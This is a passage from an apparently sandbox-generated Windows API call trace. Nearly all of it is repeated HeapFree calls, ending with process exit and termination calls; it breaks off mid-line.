hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f44e0 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4508 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b3b8 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b498 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4530 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4558 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4580 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f45a8 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f45d0 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f45f8 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4620 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4648 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b4d0 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x69dfd0 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4670 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4698 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f46c0 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f46e8 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4710 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f2328 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f1d00 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ef5f0 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31850e8 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31953b8 | out: hHeap=0x5d0000) returned 1 [0070.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b428 | out: hHeap=0x5d0000) returned 1 [0070.055] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31874b0 | out: hHeap=0x5d0000) returned 1 [0070.055] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187468 | out: hHeap=0x5d0000) returned 1 [0070.055] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0070.055] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3186fe8 | out: hHeap=0x5d0000) returned 1 [0070.055] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182ef0 | out: hHeap=0x5d0000) returned 1 [0070.055] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183120 | out: hHeap=0x5d0000) returned 1 [0070.055] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3153438 | out: hHeap=0x5d0000) returned 1 [0070.055] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6a9eb8 | out: hHeap=0x5d0000) returned 1 [0070.055] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195170 | out: hHeap=0x5d0000) returned 1 [0070.055] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6781a0 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x312b478 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c6f48 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x321ae98 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x321b720 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x321bfa8 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30f7038 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c66c0 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3201150 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3200938 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3200120 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ff908 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ff0f0 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31fe8d8 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31fe0c0 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3102118 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3201978 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32021a0 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32029d8 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3203210 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3203a48 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3204280 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3204ac8 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32052f0 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3205b18 | out: hHeap=0x5d0000) returned 1 [0070.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3206bb8 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3207838 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3206360 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32084b8 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3208ce0 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3209528 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3209d70 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x320a5a8 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x320ade0 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x320b618 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x320be40 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x320c668 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x320ce90 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x320d6c8 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x320df00 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3160958 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x320ef80 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x320fc00 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31611e0 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3161a68 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f0430 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3210880 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32110c8 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x320e728 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3211910 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3212148 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31622f0 | out: hHeap=0x5d0000) returned 1 [0070.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3162b78 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3163400 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32131b0 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3214220 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3163c88 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3214a58 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32156d8 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3164510 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3164d98 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3216358 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32173d0 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3218460 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3165ea8 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3166730 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3166fb8 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3165620 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3167840 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c0060 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c08e8 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c19f8 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c1170 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3219580 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x321a200 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c2280 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c2b08 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c3c18 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3217c18 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c44a0 | out: hHeap=0x5d0000) returned 1 [0070.058] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c4d28 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c55b0 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c3390 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c5e38 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3218ca8 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31efc18 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30f6f68 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f0c88 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f3750 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3180030 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x318fec8 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6acdf8 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32454d0 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3245d58 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32465e0 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3246e68 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30f70a0 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x323e040 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3241b30 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3242348 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3242b60 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3243378 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3243b90 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32443c0 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3244c48 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185408 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x321d0b8 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x321d940 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x321e1c8 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x321ea50 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x321f2d8 | out: hHeap=0x5d0000) returned 1 [0070.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f2c00 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x321fb60 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32203e8 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31fd0a8 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x322ae80 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x322b6e8 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3220c70 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32214f8 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x322bf50 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x322c798 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3221d80 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3222608 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3222e90 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3223718 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3223fa0 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3224828 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32250b0 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3225938 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32261c0 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3226a48 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x322cfe8 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x322d850 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32272d0 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3227b58 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32283e0 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x322e0b8 | out: hHeap=0x5d0000) returned 1 [0070.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x322e900 | out: hHeap=0x5d0000) returned 1 [0070.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3228c68 | out: hHeap=0x5d0000) returned 1 [0070.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32294f0 | out: hHeap=0x5d0000) returned 1 [0070.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3229d78 | out: hHeap=0x5d0000) returned 1 [0070.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x322f160 | out: hHeap=0x5d0000) returned 1 [0070.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x322f9e8 | out: hHeap=0x5d0000) returned 1 [0070.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3230270 | out: hHeap=0x5d0000) returned 1 [0070.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3230af8 | out: hHeap=0x5d0000) returned 1 [0070.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3231380 | out: hHeap=0x5d0000) returned 1 [0070.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3231c08 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x323f148 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x323f9b0 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3232490 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3232d18 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32335a0 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3240218 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3233e28 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32346b0 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3234f38 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32357c0 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3236048 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32368d0 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3237158 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32379e0 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3238268 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3238af0 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3240a60 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32412c8 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3239378 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3239c00 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x323a488 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x323ad10 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x323b598 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x323be20 | out: hHeap=0x5d0000) returned 1 [0070.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x323c6a8 | out: hHeap=0x5d0000) returned 1 [0070.066] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x323cf30 | out: hHeap=0x5d0000) returned 1 [0070.066] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x323d7b8 | out: hHeap=0x5d0000) returned 1 [0070.066] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3216b90 | out: hHeap=0x5d0000) returned 1 [0070.066] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32139e8 | out: hHeap=0x5d0000) returned 1 [0070.066] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30f6fd0 | out: hHeap=0x5d0000) returned 1 [0070.066] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31fc030 | out: hHeap=0x5d0000) returned 1 [0070.066] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x321c830 | out: hHeap=0x5d0000) returned 1 [0070.066] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3212980 | out: hHeap=0x5d0000) returned 1 [0070.066] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3111648 | out: hHeap=0x5d0000) returned 1 [0070.066] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x67ab68 | out: hHeap=0x5d0000) returned 1 [0070.067] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x67a360 | out: hHeap=0x5d0000) returned 1 [0070.068] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fbac | out: phModule=0x18fbac) returned 0 [0070.068] ExitProcess (uExitCode=0x0) [0070.068] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c8840 | out: hHeap=0x5d0000) returned 1 [0070.068] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x678d68 | out: hHeap=0x5d0000) returned 1 [0070.073] TerminateProcess (hProcess=0xffffffff, 